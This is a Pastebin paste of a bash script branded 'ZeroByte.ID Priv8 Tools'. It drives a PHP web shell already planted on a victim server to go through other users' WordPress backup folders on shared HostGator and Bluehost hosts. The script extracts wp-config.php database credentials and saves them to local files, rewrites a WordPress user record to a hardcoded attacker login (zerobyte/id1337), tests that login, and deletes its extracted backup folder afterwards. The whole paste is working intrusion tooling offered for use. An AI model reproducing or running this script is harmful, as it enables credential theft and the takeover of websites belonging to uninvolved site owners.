Advertisement
PalmaSolutions

zeroshell.php

Jul 27th, 2019
358
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.80 KB | None | 0 0
  1. #!/bin/bash
  2. # Using ZeroShell V 1.3
  3. # ZeroByte.ID Priv8 Tools
  4.  
  5. SHELL="http://victim/zeroshell-v.1.3.php";
  6.  
  7.  
  8. HOST=$(curl -s -d 'cmd=hostname' ${SHELL}"?ext=shellcmd" | sed "s|readonly>|\nHost: |g" | sed 's|</textarea>|\n|g' | grep 'Host:' | awk '{print $2}');
  9. FILENAME='wpconfig_'${HOST}'.txt';
  10.  
  11. function wpdomain() {
  12.     user=$(echo ${1} | sed 's/@/%40/g' | sed 's/&/%26/g');
  13.     pass=$(echo ${2} | sed 's/@/%40/g' | sed 's/&/%26/g');
  14.     db=$(echo ${3} | sed 's/@/%40/g' | sed 's/&/%26/g');
  15.     host=$(echo ${4} | sed 's/@/%40/g' | sed 's/&/%26/g');
  16.     tpref=$(echo ${5});
  17.     DOMAIN=$(curl -s -d "wpuser="${user} -d "wppass="${pass} -d 'wpdb='${db} -d 'wphost='${host} -X POST ${SHELL}"?grab=wp_options" | grep 'DOMAIN' | sed 's|\[DOMAIN\] ||g');
  18.     if [[ -z $DOMAIN ]];then
  19.         echo '[i] Failed Grab Domain';
  20.     else
  21.         echo '[*] Domain: '$DOMAIN;
  22.         echo '[*] Domain: '$DOMAIN >> $FILENAME;
  23.         UPASCHG=$(curl -s -d "wpuser="${user} -d "wppass="${pass} -d 'wpdb='${db} -d 'wphost='${host} -d "tpfx="${tpref} -X POST ${SHELL}"?grab=wp_users_updt");
  24.         if [[ ${UPASCHG} =~ 'Record updated successfully' ]];then
  25.             SITELOGIN=$(echo $DOMAIN'/wp-login.php' | sed 's|//wp-login.php|/wp-login.php|g');
  26.             echo '[i] Try Login: '$SITELOGIN'|zerobyte|id1337'
  27.             if [[ $(curl -s $SITELOGIN) =~ 'wp-submit' ]];then
  28.                 LOGIN=$(curl -s --cookie-jar wp-logincookie.tmp --data "log=zerobyte" --data "pwd=id1337" $SITELOGIN);
  29.                 if [[ ${LOGIN} =~ 'login_error' ]];then
  30.                     echo '[BAD] Login Failed';
  31.                 else
  32.                     echo '[OK] Login Successfully!';
  33.                     echo $SITELOGIN' user (zerobyte) pass (id1337)' >> wp_login.txt
  34.                 fi
  35.             else
  36.                 echo '[BAD] Form Login Not Found!';
  37.             fi
  38.         else
  39.             echo '[i] Failed Change User';
  40.         fi
  41.     fi
  42. }
  43.  
  44. function miningblue() {
  45.     CHK=$(curl -s ${SHELL}"?path="${1} | grep -e '\[D\]' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | sed 's|?path=||g' | wc -l);
  46.     if [[ "$CHK" == "1" ]];then
  47.         ASH=$(curl -s ${SHELL}"?path="${1} | grep -e '\[D\]' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | sed 's|?path=||g');
  48.         GETGZ=$(curl -s ${SHELL}"?path="${ASH} | grep 'EXTRACT TO TMP' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | head -1);
  49.         echo -ne '-- Loading |:::';
  50.         DIRBUP=$(curl -s -d "extract=1" "${SHELL}${GETGZ}" | grep 'EXTRACTED' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | sed 's|?path=||g');
  51.         echo -ne ':::';
  52.         DIRUSER=$(curl -s ${SHELL}"?path="${DIRBUP} | grep -e '\[D\]' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | head -1);
  53.         echo -ne ':::';
  54.         CONFDIR=$(curl -s ${SHELL}${DIRUSER} | grep 'wp-config.php' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | head -1);
  55.         echo -ne ':::';
  56.         curl -s ${SHELL}${CONFDIR} > wp_config.php.temp;
  57.         echo -ne ':::| 100%\n';
  58.         WPUSER=$(cat wp_config.php.temp | grep -Po "(?<='(DB_USER'), ')[^']*");
  59.         WPPASS=$(cat wp_config.php.temp | grep -Po "(?<='(DB_PASSWORD'), ')[^']*" | sed 's|\&amp;|\&|g');
  60.         DBNAME=$(cat wp_config.php.temp | grep -Po "(?<='(DB_NAME'), ')[^']*");
  61.         WPHOST=$(cat wp_config.php.temp | grep -Po "(?<='(DB_HOST'), ')[^']*");
  62.         TPREFX=$(cat wp_config.php.temp | grep '$table_prefix' | grep -Po "'\K.*?(?=')");
  63.         if [[ -z $WPUSER ]];then
  64.             echo '-- FAILED GRAB CONFIG.';
  65.             echo '';
  66.         elif [[ $WPUSER =~ 'DB_USER' ]]; then
  67.             echo '[*] WP_User: '$WPUSER;
  68.             echo '[*] WP_Pass: '$WPPASS;
  69.             echo '[*] DB_Name: '$DBNAME;
  70.             echo '[*] WP_Host: '$WPHOST;
  71.             echo '[*] Table_Prefix: '$TPREFX;
  72.             echo '[BAD] CONFIG FILE';
  73.             echo '';
  74.             echo 'WP_User: '$WPUSER >> $FILENAME;
  75.             echo 'WP_Pass: '$WPPASS >> $FILENAME;
  76.             echo 'DB_Name: '$DBNAME >> $FILENAME;
  77.             echo 'WP_Host: '$WPHOST >> $FILENAME;
  78.             echo '' >> $FILENAME;
  79.         else
  80.             echo '[*] WP_User: '$WPUSER;
  81.             echo '[*] WP_Pass: '$WPPASS;
  82.             echo '[*] DB_Name: '$DBNAME;
  83.             echo '[*] WP_Host: '$WPHOST;
  84.             echo '[*] Table_Prefix: '$TPREFX;
  85.             wpdomain ${WPUSER} ${WPPASS} ${DBNAME} ${WPHOST} ${TPREFX}
  86.             echo '';
  87.             echo 'WP_User: '$WPUSER >> $FILENAME;
  88.             echo 'WP_Pass: '$WPPASS >> $FILENAME;
  89.             echo 'DB_Name: '$DBNAME >> $FILENAME;
  90.             echo 'WP_Host: '$WPHOST >> $FILENAME;
  91.             echo '' >> $FILENAME;
  92.         fi
  93.         ## DELBUP ##
  94.         curl -s ${SHELL}"?action=rmdir&file="$DIRBUP -o /dev/null;
  95.  
  96.     else
  97.         GRAB=$(curl -s ${SHELL}"?path="${1} | grep -e '\[D\]' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | sed 's|?path=||g');
  98.         count=0;
  99.         for ASH in $(echo $GRAB)
  100.         do
  101.             count=$[count+1];
  102.             echo '['$i']['$count']';
  103.             GETGZ=$(curl -s ${SHELL}"?path="${ASH} | grep 'EXTRACT TO TMP' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | head -1);
  104.             echo -ne '-- Loading |:::';
  105.             DIRBUP=$(curl -s -d "extract=1" "${SHELL}${GETGZ}" | grep 'EXTRACTED' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | sed 's|?path=||g');
  106.             echo -ne ':::';
  107.             DIRUSER=$(curl -s ${SHELL}"?path="${DIRBUP} | grep -e '\[D\]' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | head -1);
  108.             echo -ne ':::';
  109.             CONFDIR=$(curl -s ${SHELL}${DIRUSER} | grep 'wp-config.php' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | head -1);
  110.             echo -ne ':::';
  111.             curl -s ${SHELL}${CONFDIR} > wp_config.php.temp;
  112.             echo -ne ':::| 100%\n';
  113.             WPUSER=$(cat wp_config.php.temp | grep -Po "(?<='(DB_USER'), ')[^']*");
  114.             WPPASS=$(cat wp_config.php.temp | grep -Po "(?<='(DB_PASSWORD'), ')[^']*" | sed 's|\&amp;|\&|g');
  115.             DBNAME=$(cat wp_config.php.temp | grep -Po "(?<='(DB_NAME'), ')[^']*");
  116.             WPHOST=$(cat wp_config.php.temp | grep -Po "(?<='(DB_HOST'), ')[^']*");
  117.             TPREFX=$(cat wp_config.php.temp | grep '$table_prefix' | grep -Po "'\K.*?(?=')");
  118.             if [[ -z $WPUSER ]];then
  119.                 echo '-- FAILED GRAB CONFIG.';
  120.                 echo '';
  121.             elif [[ $WPUSER =~ 'DB_USER' ]]; then
  122.                 echo '[*] WP_User: '$WPUSER;
  123.                 echo '[*] WP_Pass: '$WPPASS;
  124.                 echo '[*] DB_Name: '$DBNAME;
  125.                 echo '[*] WP_Host: '$WPHOST;
  126.                 echo '[*] Table_Prefix: '$TPREFX;
  127.                 echo '[BAD] CONFIG FILE';
  128.                 echo '';
  129.                 echo 'WP_User: '$WPUSER >> $FILENAME;
  130.                 echo 'WP_Pass: '$WPPASS >> $FILENAME;
  131.                 echo 'DB_Name: '$DBNAME >> $FILENAME;
  132.                 echo 'WP_Host: '$WPHOST >> $FILENAME;
  133.                 echo '' >> $FILENAME;
  134.             else
  135.                 echo '[*] WP_User: '$WPUSER;
  136.                 echo '[*] WP_Pass: '$WPPASS;
  137.                 echo '[*] DB_Name: '$DBNAME;
  138.                 echo '[*] WP_Host: '$WPHOST;
  139.                 echo '[*] Table_Prefix: '$TPREFX;
  140.                 wpdomain ${WPUSER} ${WPPASS} ${DBNAME} ${WPHOST} ${TPREFX}
  141.                 echo '';
  142.                 echo 'WP_User: '$WPUSER >> $FILENAME;
  143.                 echo 'WP_Pass: '$WPPASS >> $FILENAME;
  144.                 echo 'DB_Name: '$DBNAME >> $FILENAME;
  145.                 echo 'WP_Host: '$WPHOST >> $FILENAME;
  146.                 echo '' >> $FILENAME;
  147.             fi
  148.  
  149.             ## DELBUP ##
  150.             curl -s ${SHELL}"?action=rmdir&file="$DIRBUP -o /dev/null;
  151.         done
  152.     fi
  153.  
  154. }
  155.  
  156. function mininggator() {
  157.     HOME=$(curl -s ${SHELL}"?path="${1} | grep -e '\[D\]' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | sed 's|?path=||g');
  158.     echo -ne '';
  159.     USRX=$(curl -s ${SHELL}"?path="${HOME} | grep -e '\[D\]' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | sed 's|?path=||g');
  160.     echo -ne '';
  161.     PUBHTML=$(curl -s ${SHELL}"?path="${USRX} | grep -e '\[D\]' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | sed 's|?path=||g');
  162.     echo -ne '';
  163.     PUBLICHTML=$(curl -s ${SHELL}"?path="${PUBHTML} | grep -e '\[D\]' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | sed 's|?path=||g');
  164.  
  165.         if [[ -z $PUBLICHTML ]];then
  166.             GETGZ=$(curl -s ${SHELL}"?path="${PUBHTML} | grep 'EXTRACT TO TMP' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | head -1);
  167.             echo -ne '-- Loading |:::';
  168.             DIRBUP=$(curl -s -d "extract=1" "${SHELL}${GETGZ}" | grep 'EXTRACTED' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | sed 's|?path=||g');
  169.             echo -ne ':::';
  170.             DIRUSER=$(curl -s ${SHELL}"?path="${DIRBUP} | grep -e '\[D\]' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | head -1);
  171.             echo -ne ':::';
  172.             CONFDIR=$(curl -s ${SHELL}${DIRUSER} | grep 'wp-config.php' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | head -1);
  173.             echo -ne ':::';
  174.             curl -s ${SHELL}${CONFDIR} > wp_config.php.temp;
  175.             echo -ne ':::| 100%\n';
  176.             WPUSER=$(cat wp_config.php.temp | grep -Po "(?<='(DB_USER'), ')[^']*");
  177.             WPPASS=$(cat wp_config.php.temp | grep -Po "(?<='(DB_PASSWORD'), ')[^']*" | sed 's|\&amp;|\&|g');
  178.             DBNAME=$(cat wp_config.php.temp | grep -Po "(?<='(DB_NAME'), ')[^']*");
  179.             WPHOST=$(cat wp_config.php.temp | grep -Po "(?<='(DB_HOST'), ')[^']*");
  180.             TPREFX=$(cat wp_config.php.temp | grep '$table_prefix' | grep -Po "'\K.*?(?=')");
  181.             if [[ -z $WPUSER ]];then
  182.                 echo '-- FAILED GRAB CONFIG.';
  183.                 echo '';
  184.             elif [[ $WPUSER =~ 'DB_USER' ]]; then
  185.                 echo '[*] WP_User: '$WPUSER;
  186.                 echo '[*] WP_Pass: '$WPPASS;
  187.                 echo '[*] DB_Name: '$DBNAME;
  188.                 echo '[*] WP_Host: '$WPHOST;
  189.                 echo '[*] Table_Prefix: '$TPREFX;
  190.                 echo '[BAD] CONFIG FILE';
  191.                 echo '';
  192.                 echo 'WP_User: '$WPUSER >> $FILENAME;
  193.                 echo 'WP_Pass: '$WPPASS >> $FILENAME;
  194.                 echo 'DB_Name: '$DBNAME >> $FILENAME;
  195.                 echo 'WP_Host: '$WPHOST >> $FILENAME;
  196.                 echo '' >> $FILENAME;
  197.             else
  198.                 echo '[*] WP_User: '$WPUSER;
  199.                 echo '[*] WP_Pass: '$WPPASS;
  200.                 echo '[*] DB_Name: '$DBNAME;
  201.                 echo '[*] WP_Host: '$WPHOST;
  202.                 echo '[*] Table_Prefix: '$TPREFX;
  203.                 wpdomain ${WPUSER} ${WPPASS} ${DBNAME} ${WPHOST} ${TPREFX}
  204.                 echo '';
  205.                 echo 'WP_User: '$WPUSER >> $FILENAME;
  206.                 echo 'WP_Pass: '$WPPASS >> $FILENAME;
  207.                 echo 'DB_Name: '$DBNAME >> $FILENAME;
  208.                 echo 'WP_Host: '$WPHOST >> $FILENAME;
  209.                 echo '' >> $FILENAME;
  210.             fi
  211.             curl -s ${SHELL}"?action=rmdir&file="$DIRBUP -o /dev/null;
  212.         else
  213.             count=0;
  214.             for ASH in ${PUBLICHTML}
  215.             do
  216.                 count=$[count+1];
  217.                 echo '['$i']['$count']';
  218.                 GETGZ=$(curl -s ${SHELL}"?path="${ASH} | grep 'EXTRACT TO TMP' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | head -1);
  219.                 echo -ne '-- Loading |:::';
  220.                 DIRBUP=$(curl -s -d "extract=1" "${SHELL}${GETGZ}" | grep 'EXTRACTED' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | sed 's|?path=||g');
  221.                 echo -ne ':::';
  222.                 DIRUSER=$(curl -s ${SHELL}"?path="${DIRBUP} | grep -e '\[D\]' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | head -1);
  223.                 echo -ne ':::';
  224.                 CONFDIR=$(curl -s ${SHELL}${DIRUSER} | grep 'wp-config.php' | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//' | head -1);
  225.                 echo -ne ':::';
  226.                 curl -s ${SHELL}${CONFDIR} > wp_config.php.temp;
  227.                 echo -ne ':::| 100%\n';
  228.                 WPUSER=$(cat wp_config.php.temp | grep -Po "(?<='(DB_USER'), ')[^']*");
  229.                 WPPASS=$(cat wp_config.php.temp | grep -Po "(?<='(DB_PASSWORD'), ')[^']*" | sed 's|\&amp;|\&|g');
  230.                 DBNAME=$(cat wp_config.php.temp | grep -Po "(?<='(DB_NAME'), ')[^']*");
  231.                 WPHOST=$(cat wp_config.php.temp | grep -Po "(?<='(DB_HOST'), ')[^']*");
  232.                 TPREFX=$(cat wp_config.php.temp | grep '$table_prefix' | grep -Po "'\K.*?(?=')");
  233.                 if [[ -z $WPUSER ]];then
  234.                     echo '-- FAILED GRAB CONFIG.';
  235.                     echo '';
  236.                 elif [[ $WPUSER =~ 'DB_USER' ]]; then
  237.                     echo '[*] WP_User: '$WPUSER;
  238.                     echo '[*] WP_Pass: '$WPPASS;
  239.                     echo '[*] DB_Name: '$DBNAME;
  240.                     echo '[*] WP_Host: '$WPHOST;
  241.                     echo '[*] Table_Prefix: '$TPREFX;
  242.                     echo '[BAD] CONFIG FILE';
  243.                     echo '';
  244.                     echo 'WP_User: '$WPUSER >> $FILENAME;
  245.                     echo 'WP_Pass: '$WPPASS >> $FILENAME;
  246.                     echo 'DB_Name: '$DBNAME >> $FILENAME;
  247.                     echo 'WP_Host: '$WPHOST >> $FILENAME;
  248.                     echo '' >> $FILENAME;
  249.                 else
  250.                     echo '[*] WP_User: '$WPUSER;
  251.                     echo '[*] WP_Pass: '$WPPASS;
  252.                     echo '[*] DB_Name: '$DBNAME;
  253.                     echo '[*] WP_Host: '$WPHOST;
  254.                     echo '[*] Table_Prefix: '$TPREFX;
  255.                     wpdomain ${WPUSER} ${WPPASS} ${DBNAME} ${WPHOST} ${TPREFX}
  256.                     echo '';
  257.                     echo 'WP_User: '$WPUSER >> $FILENAME;
  258.                     echo 'WP_Pass: '$WPPASS >> $FILENAME;
  259.                     echo 'DB_Name: '$DBNAME >> $FILENAME;
  260.                     echo 'WP_Host: '$WPHOST >> $FILENAME;
  261.                     echo '' >> $FILENAME;
  262.                 fi
  263.  
  264.                 ## DELBUP ##
  265.                 curl -s ${SHELL}"?action=rmdir&file="$DIRBUP -o /dev/null;
  266.         done
  267.         fi
  268. }
  269.  
  270. function hostcheck() {
  271.     if [[ $HOST =~ 'hostgator.com' ]];then
  272.         echo '[SERVER] HOSTGATOR';
  273.         i=0;
  274.         for USR in $(echo $USRJUMP)
  275.         do
  276.             i=$[i+1];
  277.             echo '['$i'] '$USR;
  278.             mininggator $USR
  279.         done
  280.     elif [[ $HOST =~ 'bluehost.com' ]];then
  281.         echo '[SERVER] BLUEHOST';
  282.         i=0;
  283.         for USR in $(echo $USRJUMP)
  284.         do
  285.             i=$[i+1];
  286.             echo '['$i'] '$USR;
  287.             miningblue $USR
  288.         done
  289.     else
  290.         echo '[BAD] FAILED IDENTIFY HOST';
  291.         return 1;
  292.     fi
  293.  
  294. }
  295. USRJUMP=$(curl -s ${SHELL}"?ext=backupwordpress" | grep -o '] <a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^] <a href=["'"'"']//' -e 's/["'"'"']$//' | sed 's|?path=||g');
  296.  
  297. cat << "EOF"
  298.                    _           _         _     _
  299.  _______ _ __ ___ | |__  _   _| |_ ___  (_) __| |
  300. |_  / _ \ '__/ _ \| '_ \| | | | __/ _ \ | |/ _` |
  301.  / /  __/ | | (_) | |_) | |_| | ||  __/_| | (_| |
  302. /___\___|_|  \___/|_.__/ \__, |\__\___(_)_|\__,_|
  303.                          |___/                  
  304. :: BACKUPWORDPRESS CONFIG GRAB & AUTO EDIT USER ::
  305.  
  306. EOF
  307. echo '[HOSTNAME] '$HOST;
  308.  
  309. if [ -z "$USRJUMP" ];then
  310.     echo "[BAD] FAILED GRAB!";
  311. else
  312.     hostcheck
  313. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement